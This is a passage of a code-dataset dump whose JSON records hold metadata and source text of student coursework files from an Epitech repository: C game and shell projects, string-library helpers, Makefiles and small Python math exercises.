size++, i++, j = 0) {\n (*pos)[i] = malloc(sizeof(char) * (my_strlen(buff)));\n while (buff[size] != '\\n') {\n (*pos)[i][j] = buff[size];\n j++;\n size++;\n }\n (*pos)[i][j] = '\\0';\n }\n (*pos)[i] = NULL;\n}\n\nchar **create_map(char **map)\n{\n int p = 2;\n\n map = malloc(sizeof(char *) * 9);\n for (int i = 0; i != 8; i++, p = 2) {\n map[i] = malloc(sizeof(char) * 19);\n map[i][0] = (i + 1) + '0';\n map[i][1] = '|';\n while (p < 17) {\n map[i][p] = '.';\n p++;\n map[i][p] = ' ';\n p++;\n map[i][p] = '\\0';\n }\n }\n map[8] = NULL;\n return map;\n}\n\nchar *read_file(char *file)\n{\n int fd = 0;\n int result = 0;\n char *buff = malloc(sizeof(char) * 33);\n\n fd = open(file, O_RDONLY);\n result = read(fd, buff, 32);\n buff[32] = '\\0';\n return buff;\n}" }, { "alpha_fraction": 0.4563876688480377, "alphanum_fraction": 0.5621145367622375, "avg_line_length": 17.91666603088379, "blob_id": "a5a42ff8af4a0e2062253b91c82188d835e805f4", "content_id": "0541ae4cba95de056f0c84a33b6a1ab974685c2c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1135, "license_type": "no_license", "max_line_length": 64, "num_lines": 60, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## folder\n## File description:\n## Makefile\n##\n\nNAME = libphoenix.a\n\nSRC = is_prime_number.c \\\n\t\t\tmy_putchar.c \\\n\t\t\tmy_strcpy.c \\\n\t\t\tmy_strncmp.c \\\n\t\t\tmy_strstr.c \\\n\t\t\tmy_revstr.c \\\n\t\t\tmy_putnbr.c \\\n\t\t\tmy_putstr.c \\\n\t\t\tto_number.c \\\n\t\t\tconcat_strings.c \\\n\t\t\tmy_strcmp.c\n\nOBJ = $(SRC:.c=.o)\n\n$(OBJDIR)%.o:\t\t%.c\n\t\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t\t@if test -s $*.c; then \\\n\t\t\techo -e \"\\033[01m\\033[35m Compiling \\033[00m\\\n\t\t\t\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\t\telse \\\n\t\t\techo -e \"\\033[01m\\033[33m Compiling \\033[00m\\\n\t\t\t\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nCFLAGS\t+=\t-I../../include/\n\nCP\t\t=\tcp ../../include/phoenix.h phoenix.h\n\nAR\t\t=\tar rc\n\nCC\t\t=\tgcc\n\nRM\t\t=\trm -f\n\n$(NAME):\t$(OBJ)\n\t@echo -e \"\\033[01m\\033[31mBuilding phoenix lib...\\033[00m\"\n\t@$(CP)\n\t@$(AR) $(NAME) $(OBJ)\n\t@echo -e \"\\033[01m\\033[32mCompilation done: ${NAME}\\033[00m\"\n\nall:\t$(NAME)\n\nclean:\n\t\t@$(RM) $(OBJ)\n\t\t@echo -e \"\\033[01m\\033[31mRemoving library objects...\\033[00m\"\n\nfclean:\tclean\n\t\t@$(RM) $(NAME)\n\t\t@$(RM) phoenix.h\n\t\t@echo -e \"\\033[01m\\033[31mRemoving library: ${NAME}\\033[00m\"\n\nre:\tfclean all\n" }, { "alpha_fraction": 0.5011933445930481, "alphanum_fraction": 0.5465393662452698, "avg_line_length": 16.5, "blob_id": "4e3787d020681cd7b70e372ef4441dad916b559b", "content_id": "b1de0eea7ed5e9c655edec1b5cde98d56116903b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 419, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/tek1/Mathématique/102architect_2019/102architect", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n##\n## EPITECH PROJECT, 2019\n## 102architect_2019\n## File description:\n## 102architect by clément fleur and arthur perrot\n##\n\nimport sys\nimport math\nfrom check import *\n\ndef main():\n if len(sys.argv) == 2 and (sys.argv[1] == \"-h\"):\n help()\n check_error(sys.argv)\n i = 1\n while i < len(sys.argv):\n check_type(i, sys.argv)\n i = i + 1\n \n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.35662299394607544, "alphanum_fraction": 0.39883551001548767, "avg_line_length": 18.09722137451172, "blob_id": "ec77ccc240a7dc06b86aafb4bcfcfd5b39caafb2", "content_id": "76c04ce8554a5f2fc0a5b1b9a456e1f3fc57cf79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 46, "num_lines": 72, "path": "/tek1/Mathématique/103cipher_2019/sort.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 103cipher_2019\n## File description:\n## sort.py\n##\n\nimport sys\n\ndef sort_message(com, maxi):\n maxi2 = len(com)/maxi\n if maxi - int(maxi) != 0:\n maxi += 1\n maxi = int(maxi)\n matrix2 = []\n c = 0\n d = 0\n i = 0\n while c < maxi2:\n matrix2.append([])\n while d < maxi:\n if i >= len(com):\n matrix2[c].append(0)\n else:\n matrix2[c].append(ord(com[i]))\n d += 1\n i += 1\n d = 0\n c += 1\n return (matrix2)\n\n\ndef suite(list, maxi):\n maxi2 = len(list)/maxi\n if maxi - int(maxi) != 0:\n maxi += 1\n maxi = int(maxi)\n matrix2 = []\n c = 0\n d = 0\n i = 0\n while c < maxi2:\n matrix2.append([])\n while d < maxi:\n if i >= len(list):\n matrix2[c].append(0)\n else:\n matrix2[c].append(list[i])\n d += 1\n i += 1\n d = 0\n c += 1\n return (matrix2)\n\n\ndef s_message2(com, maxi):\n \n i = 0\n j = 0\n c = 0\n input1 = []\n while i < len(com):\n if com[i] == ' ':\n input1.append(int(com[i - c:i]))\n j += 1\n i += 1\n c = 0\n else:\n i += 1\n c += 1\n input1.append(int(com[i - c:i]))\n return (suite(input1, maxi))" }, { "alpha_fraction": 0.3913043439388275, "alphanum_fraction": 0.43478259444236755, "avg_line_length": 21.5, "blob_id": "890033ad35856bacb4aaa16ea6cd33f1e20a1078", "content_id": "49985ee42bfe72f80eee8f3213f0c5bf0d5d5800", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 46, "license_type": "no_license", "max_line_length": 32, "num_lines": 2, "path": "/tek1/Piscine/CPool_Day02_2019/gotta_catch_them_all.sh", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncut -d \":\" -f 5 | grep -ci \" $1\"\n\n" }, { "alpha_fraction": 0.5475504398345947, "alphanum_fraction": 0.579250693321228, "avg_line_length": 16.399999618530273, "blob_id": "b06e7cca91c587e330d11bd8c192bea459c13d99", "content_id": "73b070547cab36076b7ff7bf60340f5c1cd385bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 347, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/my_strslice.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strsplit\n** File description:\n** my_strsplit\n*/\n\n#include <stdlib.h>\n#include \"tools.h\"\n\nchar **my_strslice(char *str, int pos)\n{\n char **result = malloc(sizeof(char *) * 3);\n\n str[pos] = '\\0';\n result[0] = my_strdup(str);\n result[1] = my_strdup(str + pos + 1);\n result[2] = 0;\n return result;\n}" }, { "alpha_fraction": 0.48288974165916443, "alphanum_fraction": 0.5107731223106384, "avg_line_length": 19.763158798217773, "blob_id": "87bd54b91d14911afaa5c2854bb112716e5d48dc", "content_id": "fd26a553699f02fef67e94398fd007105bb4b83f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 789, "license_type": "no_license", "max_line_length": 68, "num_lines": 38, "path": "/tek1/Advanced/PSU_42sh_2019/lib/tools/my_putfloat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_putfloat\n** File description:\n** Displays a float\n*/\n\n#include \"tools.h\"\n\nint get_number_of_digits(int nb)\n{\n int i = 0;\n\n while (nb != 0) {\n nb /= 10;\n i++;\n }\n return (i);\n}\n\nint my_putfloat(float f, int decimals)\n{\n int power_of_ten = get_power_of_ten(decimals);\n int must_be_rounded_up = (int)(f * power_of_ten * 10) % 10 >= 5;\n int digits = (int)(f * power_of_ten) % power_of_ten;\n int i = digits;\n\n my_put_nbr(decimals == 0 ? f + must_be_rounded_up : f);\n if (decimals != 0) {\n my_putchar('.');\n while (decimals > get_number_of_digits(i)) {\n my_putchar('0');\n i = i == 0 ? 10 : i * 10;\n }\n my_put_nbr(digits + must_be_rounded_up);\n }\n return (0);\n}\n" }, { "alpha_fraction": 0.44334277510643005, "alphanum_fraction": 0.46742209792137146, "avg_line_length": 16.649999618530273, "blob_id": "0fd5c13e20cd0bac02874b15dd199be207a64696", "content_id": "9918f189b77431d36d79785bb1a515cdbc9fc30c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 706, "license_type": "no_license", "max_line_length": 62, "num_lines": 40, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_sorter.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_sorter.c\n*/\n\n#include \"pushswap.h\"\n\nint list_sorted(struct req *req)\n{\n int i;\n\n for (i = 1; i < req->len && req->list_a[i] != -1; i++) {\n if (req->list_a[i - 1] <= req->list_a[i])\n continue;\n else\n return (0);\n }\n return (1);\n}\n\nint get_last(int *arr, int len)\n{\n int i;\n\n for (i = len - 1; i > 0; i--)\n if (arr[i] != -1)\n return (arr[i]);\n return (-1);\n}\n\nvoid end_instruction(struct req *req)\n{\n display_order(req);\n if (req->stat == 1)\n my_put_char('\\n');\n else if (!(list_sorted(req) == 1 && req->list_b[0] == -1))\n my_put_char(' ');\n}\n" }, { "alpha_fraction": 0.6223739385604858, "alphanum_fraction": 0.6292017102241516, "avg_line_length": 29.238094329833984, "blob_id": "a53dce92f3d0c41d86391a9f00f74e4b113fe7d9", "content_id": "fb0ca0c3f1848a02fae5e9ee1e01b2c45e857307", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1904, "license_type": "no_license", "max_line_length": 77, "num_lines": 63, "path": "/tek1/Game/MUL_my_rpg_2019/src/quest/import.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** quest import\n*/\n\n#include \"rpg.h\"\n#include <stdlib.h>\n\nlinked_list_t *quest_import_rewards(json_object_t *obj)\n{\n linked_list_t *rewards = 0;\n\n for (json_object_t *i = obj; i; i = i->next) {\n rewards = ll_append(rewards, import_reward(i->data));\n }\n return rewards;\n}\n\nobjective_t *import_objective(json_object_t *obj)\n{\n objective_t *objective = malloc(sizeof(objective_t));\n\n objective->instruction = my_strdup(\n dict_get((dictionary_t *) obj, \"instruction\"));\n objective->type = my_strdup(dict_get((dictionary_t *) obj, \"type\"));\n objective->target = my_strdup(dict_get((dictionary_t *) obj, \"target\"));\n objective->nb_required = *(int *)\n dict_get((dictionary_t *) obj, \"nb_required\");\n objective->progress = 0;\n objective->rewards = quest_import_rewards(\n dict_get((dictionary_t *) obj, \"rewards\"));\n return objective;\n}\n\ndictionary_t *import_objectives(json_object_t *obj)\n{\n dictionary_t *objectives = 0;\n\n for (json_object_t *i = obj; i; i = i->next) {\n objectives = dict_add(objectives,\n my_strdup(dict_get(i->data, \"name\")), import_objective(i->data));\n }\n return objectives;\n}\n\nquest_t *import_quest(char *filename)\n{\n char *path = my_strconcat(\"./assets/quests/\", filename);\n json_object_t *obj = my_free_assign(path, read_json(path));\n quest_t *quest = malloc(sizeof(quest_t));\n\n quest->name = my_strdup(dict_get(obj->data, \"name\"));\n quest->redeem_to = my_strdup(dict_get(obj->data, \"redeem_to\"));\n quest->objectives = import_objectives(dict_get(obj->data, \"objectives\"));\n quest->objective = quest->objectives ?\n my_strdup(quest->objectives->index) : 0;\n quest->given_by = 0;\n quest->rewards = quest_import_rewards(dict_get(obj->data, \"rewards\"));\n json_destroy(obj);\n return quest;\n}" }, { "alpha_fraction": 0.5094339847564697, "alphanum_fraction": 0.5707547068595886, "avg_line_length": 14.142857551574707, "blob_id": "b4700b0c79003e10944c1a2a2f7e25b191b14e5d", "content_id": "475dedab518d6c5cf451e14bed65ac8b841eb02d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 212, "license_type": "no_license", "max_line_length": 49, "num_lines": 14, "path": "/tek1/Piscine/CPool_Day05_2019/my_find_prime_sup.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_find_prime_sup\n** File description:\n** task05 by clement fleur\n*/\n\nint my_find_prime_sup(int nb)\n{\n int nb2 = 0;\n\n for (nb2 = nb; my_is_prime(nb2) != 1; nb2++);\n return nb2;\n}\n" }, { "alpha_fraction": 0.4813753664493561, "alphanum_fraction": 0.5577841401100159, "avg_line_length": 19.134614944458008, "blob_id": "fb86d46cd2788b6f982163f2f560b08ef43ef30f", "content_id": "ede3f8dd6c063f3a9d0f45fa9506033ede055742", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 1047, "license_type": "no_license", "max_line_length": 67, "num_lines": 52, "path": "/tek1/Game/MUL_my_defender_2019/lib/linked/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2020\n## liblinked\n## File description:\n## Makefile\n##\n\nSRC\t\t\t=\tlist/ll_add.c\t\\\n\t\t\t\tlist/ll_append.c\t\\\n\t\t\t\tlist/ll_destroy.c\t\\\n\t\t\t\tlist/ll_get.c\t\\\n\t\t\t\tlist/ll_len.c\t\\\n\t\t\t\tlist/ll_pop.c\t\\\n\t\t\t\tlist/ll_prepend.c\t\\\n\t\t\t\tlist/ll_shift.c\t\\\n\t\t\t\tlist/ll_remove.c\t\\\n\t\t\t\tlist/ll_swap.c\t\\\n\t\t\t\tlist/ll_concat.c\t\\\n\t\t\t\tdict/dict_add.c\t\\\n\t\t\t\tdict/dict_destroy.c\t\\\n\t\t\t\tdict/dict_get.c\t\\\n\t\t\t\tdict/dict_remove.c\t\\\n\t\t\t\tdict/dict_swap.c\t\\\n\t\t\t\tdict/dict_len.c\t\\\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I../../include\n\nOBJ \t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tliblinked.a\n\n$(OBJDIR)%.o:\t%.c\n\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t@if test -s $*.c; then \\\n\t\techo -e \"\\033[00m\\033[36m [LIBLINKED]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\telse \\\n\t\techo -e \"\\033[00m\\033[36m [LIBLINKED]\\033[01m\\033[35m Compiling \\\n\t\t\\033[00m\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nall: \t$(NAME)\n\n$(NAME):\t$(OBJ)\n\t\t@ar rc $(NAME) $(OBJ)\n\t\t@cp $(NAME) ../\n\nclean:\n\t@rm -f $(OBJ)\n\nfclean: clean\n\t@rm -f $(NAME) ../$(NAME)\n" }, { "alpha_fraction": 0.4780677258968353, "alphanum_fraction": 0.5124930739402771, "avg_line_length": 22.710525512695312, "blob_id": "91cc271a16e226a4d6a10d0b4ca4aa6c74a898b6", "content_id": "3c58892c384e6ceaeee5690f0ab7e0548bf0c6e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1801, "license_type": "no_license", "max_line_length": 71, "num_lines": 76, "path": "/tek1/Advanced/PSU_navy_2019/sources/error/check_collision.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** check_collision.c\n*/\n\n#include \"navy.h\"\n\nchar **redirecting(char **map, int nbr1_pos, int letter_pos, char *pos)\n{\n if (pos[2] == pos[5])\n map = write_down(map, nbr1_pos, letter_pos, pos);\n else if (pos[2] != pos[5])\n map = write_right(map, nbr1_pos, letter_pos, pos);\n return map;\n}\n\nchar **write_boat(char **map, char *pos, int boatnbr)\n{\n int cols = 2;\n int letter_pos = 0;\n char *letter = \" |A B C D E F G H\";\n int nbr1_pos = pos[cols + 1] - '0' - 1;\n\n while (pos[cols] != letter[letter_pos])\n letter_pos++;\n map[nbr1_pos][letter_pos] = (boatnbr + 48);\n for (int i = 1; i != boatnbr; i++) {\n nbr1_pos = findposx(map, nbr1_pos, letter_pos, pos);\n letter_pos = findposy(map, nbr1_pos, letter_pos, pos);\n map = redirecting(map, nbr1_pos, letter_pos, pos);\n }\n return map;\n}\n\nchar **strategical_add(char **map, char **pos)\n{\n int boatnbr = 2;\n int j = 2;\n\n for (int i = 0; pos[i] != NULL; i++, boatnbr++) {\n map = write_boat(map, pos[i], boatnbr);\n }\n return map;\n}\n\nint check_not_diagonal(char *pos, int nbr)\n{\n int nbr1 = pos[6] - '0';\n int nbr2 = pos[3] - '0';\n int nbr3 = pos[2] - 'A';\n int nbr4 = pos[5] - 'A';\n char coef = nbr + '0';\n int checker = 0;\n\n if (pos[0] == coef) {\n if ((pos[2] == pos[5]) && (nbr1 - nbr2 == nbr - 1))\n checker++;\n if ((pos[3] == pos[6]) && (nbr4 - nbr3 == nbr - 1))\n checker++;\n }\n return checker;\n}\n\nint check_collision(char **pos)\n{\n int checker = 0;\n int nbr = 2;\n for (int i = 0; i <= 3; i++, nbr++) {\n checker = check_not_diagonal(pos[i], nbr);\n if (checker != 1)\n return 1;\n }\n return 0;\n}" }, { "alpha_fraction": 0.4868035316467285, "alphanum_fraction": 0.5219941139221191, "avg_line_length": 15.2380952835083, "blob_id": "e23445b329a122804690287796cf108f9b5f5b1e", "content_id": "cd0ddda193d0213eebc32612df349d7a8384e810", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 341, "license_type": "no_license", "max_line_length": 53, "num_lines": 21, "path": "/tek1/Piscine/CPool_Day05_2019/my_compute_power_rec.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_power_rec\n** File description:\n** task04\n*/\n\nint my_compute_power_rec(int nb, int p)\n{\n int count;\n\n if (p == 0)\n return 1;\n else if (p == 1)\n return nb;\n else if (p < 0)\n return 0;\n else\n count = my_compute_power_rec(nb, p - 1) * nb;\n return count;\n}\n" }, { "alpha_fraction": 0.4716821610927582, "alphanum_fraction": 0.5054945349693298, "avg_line_length": 22.68000030517578, "blob_id": "e460d5de29ffc4983595d079dc43820f13edf6ea", "content_id": "a38b0ab35fe1964a5614842bd16aa5b971526299", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1183, "license_type": "no_license", "max_line_length": 63, "num_lines": 50, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_swap.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** ll_swap\n** File description:\n** ll_swap\n*/\n\n#include \"tools.h\"\n#include \"linked.h\"\n\nlinked_list_t *lswap(linked_list_t *list, linked_list_t *prev1,\n linked_list_t *prev2)\n{\n linked_list_t *temp;\n linked_list_t *temp2;\n\n if (prev1) {\n temp = prev2->next;\n prev2->next = prev1->next;\n temp2 = ((linked_list_t *)(prev1->next))->next;\n ((linked_list_t *)(prev1->next))->next = temp->next;\n prev1->next = temp;\n temp->next = temp2;\n } else {\n temp = prev2->next;\n prev2->next = list;\n temp2 = list->next;\n list->next = temp->next;\n temp->next = temp2;\n return temp;\n }\n return list;\n}\n\nlinked_list_t *ll_swap(linked_list_t *list, int i1, int i2)\n{\n linked_list_t *prev = 0;\n int i = 0;\n\n if (!list || !list->next || i1 < 0 || i2 < 0 || i1 == i2 ||\n i1 >= ll_len(list) || i2 >= ll_len(list)) return list;\n if (i1 > i2) my_swap(&i1, &i2);\n for (linked_list_t *it = list; it; it = it->next) {\n if (i == i1 - 1) prev = it;\n if (i == i2 - 1)\n return lswap(list, prev, it);\n i++;\n }\n return list;\n}" }, { "alpha_fraction": 0.5083135366439819, "alphanum_fraction": 0.5415676832199097, "avg_line_length": 15.880000114440918, "blob_id": "621b9a810d70ab69f4e19d2f6493dd5bfa83b7dd", "content_id": "17aceba69e59de39f8566ca9b55d60d6d728a0fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 421, "license_type": "no_license", "max_line_length": 58, "num_lines": 25, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/option.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** option.c\n*/\n\n#include \"../include/my.h\"\n\nchar *my_revstr(char *str)\n{\n char *new_str = malloc(sizeof(char) * my_strlen(str));\n int p = my_strlen(str) - 1;\n\n for (int i = 0; str[i] != 0; i++, p--) {\n new_str[i] = str[p];\n }\n new_str[my_strlen(str)] = 0;\n return new_str;\n}\n\nvoid my_putchar(char c)\n{\n write(1, &c, 1);\n}" }, { "alpha_fraction": 0.4107351303100586, "alphanum_fraction": 0.4294049143791199, "avg_line_length": 15.803921699523926, "blob_id": "6b3d176336dd57125fd14ab95e5d6c830b038f9d", "content_id": "81206f4a0e1ffeaf56a8131e8f17ad222cf30e11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 857, "license_type": "no_license", "max_line_length": 62, "num_lines": 51, "path": "/tek1/Piscine/CPool_Day08_2019/concat_params.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** concat_params\n** File description:\n** concat_params by clement fleur\n*/\n\n#include \"my.h\"\n#include <stdlib.h>\n\nint length(int argc, char **argv, int p)\n{\n int count2;\n int i = 0;\n\n count2 = 0;\n while (i < argc)\n {\n while (argv[i][count2] != '\\0') {\n count2++;\n p++;\n }\n i++;\n p++;\n }\n return p;\n}\n\nchar *concat_params(int argc, char **argv)\n{\n char *str;\n int i = 0;\n int p = 0;\n int count;\n\n count = 0;\n length(argc, argv, p);\n str = malloc(sizeof(char) * p);\n while (i < argc) {\n for (int check = 0; argv[i][check] != '\\0'; check++) {\n str[count] = argv[i][check];\n count++;\n }\n i++;\n if (i < argc) {\n str[count] = '\\n';\n count++;\n }\n }\n return str;\n}\n" }, { "alpha_fraction": 0.5226710438728333, "alphanum_fraction": 0.5408079028129578, "avg_line_length": 20.298246383666992, "blob_id": "470b26e3656757a8180ede0ebf85fada2ae3f11f", "content_id": "2ad28c930e043dd871f09034018ff14c1e3597c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1213, "license_type": "no_license", "max_line_length": 62, "num_lines": 57, "path": "/tek1/Advanced/PSU_42sh_2019/src/builtins/cd.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_42sh_2019\n** File description:\n** cd.c\n*/\n\n#include \"shell.h\"\n#include <unistd.h>\n#include <stdio.h>\n#include <errno.h>\n#include <stdlib.h>\n\nchar *cd_replace_home(dictionary_t *env_vars, char *dir)\n{\n char *home;\n\n if (my_str_startswith(dir, \"~\")) {\n home = dict_get(env_vars, \"HOME\");\n if (home == UNDEFINED) return 0;\n dir = my_strconcat(home, dir + 1);\n }\n return dir;\n}\n\nint try_chdir(char *dir)\n{\n if (chdir(dir)) {\n perror(\"cd\");\n free(dir);\n return -1;\n }\n return 0;\n}\n\nint builtin_cd(int argc, char **argv, dictionary_t **env_vars)\n{\n char *dir;\n char *temp;\n\n if (argc < 2) dir = \"~\";\n else if (!my_strcmp(argv[1], \"-\")) {\n temp = dict_get(*env_vars, \"OLDPWD\");\n if (!temp) return -1;\n dir = my_strdup(temp);\n } else dir = my_strdup(argv[1]);\n dir = cd_replace_home(*env_vars, dir);\n if (!dir) return -1;\n if (try_chdir(dir)) return -1;\n temp = dict_get(*env_vars, \"PWD\");\n if (temp) *env_vars = env_set(*env_vars, \"OLDPWD\", temp);\n temp = getcwd(NULL, 0);\n *env_vars = env_set(*env_vars, \"PWD\", temp);\n free(temp);\n free(dir);\n return 0;\n}" }, { "alpha_fraction": 0.579973578453064, "alphanum_fraction": 0.5912095308303833, "avg_line_length": 29.57575798034668, "blob_id": "cc79aab12d2a2ee4179a9de5b783fc135f64feac", "content_id": "8c9aa7c3f113d7c182f8606516552b5099a55dd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3026, "license_type": "no_license", "max_line_length": 76, "num_lines": 99, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/tileset.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Epitech\n** File description:\n** tile\n*/\n\n#include \"game.h\"\n#include \"json.h\"\n#include <stdlib.h>\n\nsfImage *get_tile_image(sfImage *tileset_i, sfIntRect coords)\n{\n sfImage *image = sfImage_createFromColor(coords.width, coords.height,\n sfColor_fromRGBA(255, 255, 255, 0));\n\n if (coords.left >= 0 && coords.top >= 0)\n sfImage_copyImage(image, tileset_i, 0, 0, coords, sfFalse);\n return image;\n}\n\nlinked_list_t *populate_tileset(tileset_t *tileset, int width, int height,\n vector2i_t tile_size)\n{\n linked_list_t *tiles = 0;\n tile_t *tile;\n vector2i_t pos = {-1, -1};\n\n while (pos.y < height) {\n tile = malloc(sizeof(tile_t));\n tile->image = get_tile_image(tileset->image,\n create_int_rect(pos.x * tile_size.x, pos.y * tile_size.y,\n tile_size.x, tile_size.y));\n tile->tileset = tileset;\n tile->hitbox = 0;\n tiles = ll_append(tiles, tile);\n pos.x++;\n if (pos.x >= width || pos.y < 0) {\n pos.x = 0;\n pos.y++;\n }\n }\n return tiles;\n}\n\ntileset_t *create_tileset(char *file, int width, int height)\n{\n tileset_t *tileset = malloc(sizeof(tileset_t));\n sfVector2u size;\n vector2i_t tile_size;\n\n tileset->image = sfImage_createFromFile(file);\n tileset->size = v2i(width, height);\n size = sfImage_getSize(tileset->image);\n tile_size.x = size.x / width;\n tile_size.y = size.y / height;\n tileset->tile_size = tile_size;\n tileset->tiles = populate_tileset(tileset, width, height, tile_size);\n return tileset;\n}\n\nvoid create_tile_hitbox(tileset_t *tileset, int tile_nb,\n linked_list_t *hitboxes)\n{\n tile_t *tile = ll_get(tileset->tiles, tile_nb);\n hitbox_t *hitbox;\n sfFloatRect box;\n\n for (linked_list_t *i = hitboxes; i; i = i->next) {\n hitbox = malloc(sizeof(hitbox_t));\n box = float_rect_from_ll(dict_get(i->data, \"rect\"));\n box.left *= tileset->tile_size.x;\n box.width *= tileset->tile_size.x;\n box.top *= tileset->tile_size.y;\n box.height *= tileset->tile_size.y;\n hitbox->entity = 0;\n hitbox->box = box;\n hitbox->type = hitbox_type(dict_get(i->data, \"type\"));\n tile->hitbox = ll_append(tile->hitbox, hitbox);\n }\n}\n\ntileset_t *import_tileset(char *filename)\n{\n char *path = my_strconcat(\"./assets/tilesets/\", filename);\n json_object_t *obj = my_free_assign(path, read_json(path));\n vector2i_t size = v2i(*(int *) ll_get(dict_get(obj->data, \"size\"), 0),\n *(int *) ll_get(dict_get(obj->data, \"size\"), 1));\n tileset_t *tileset;\n\n path = my_strconcat(\"./assets/images/tilesets/\",\n dict_get(obj->data, \"file\"));\n tileset = my_free_assign(path, create_tileset(path, size.x, size.y));\n for (json_object_t *i = dict_get(obj->data, \"hitboxes\"); i; i = i->next)\n create_tile_hitbox(tileset, *(int *) dict_get(i->data, \"tile\"),\n dict_get(i->data, \"boxes\"));\n json_destroy(obj);\n return tileset;\n}" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5166666507720947, "avg_line_length": 14, "blob_id": "469ab47ae2f9b906a450af29fef6ac22bce21725", "content_id": "382c1edb1b32eef2603abc1f6947707817fb76dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 300, "license_type": "no_license", "max_line_length": 52, "num_lines": 20, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_strncat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strncat\n** File description:\n** my_strncat\n*/\n\n#include \"my.h\"\n\nchar *my_strncat(char *dest, char const *str, int n)\n{\n int len = my_strlen(dest);\n int i = 0;\n\n while (str[i] && i < n) {\n dest[len + i] = str[i];\n i++;\n }\n return dest;\n}\n" }, { "alpha_fraction": 0.4816112220287323, "alphanum_fraction": 0.5166375041007996, "avg_line_length": 26.190475463867188, "blob_id": "3d10bcabf9e1f93bcbcdacfc11d8508a4d919060", "content_id": "718289a66b55325652b120406210a1eaa272c560", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 571, "license_type": "no_license", "max_line_length": 97, "num_lines": 21, "path": "/tek1/Mathématique/108trigo_2019/utils.py", "repo_name": 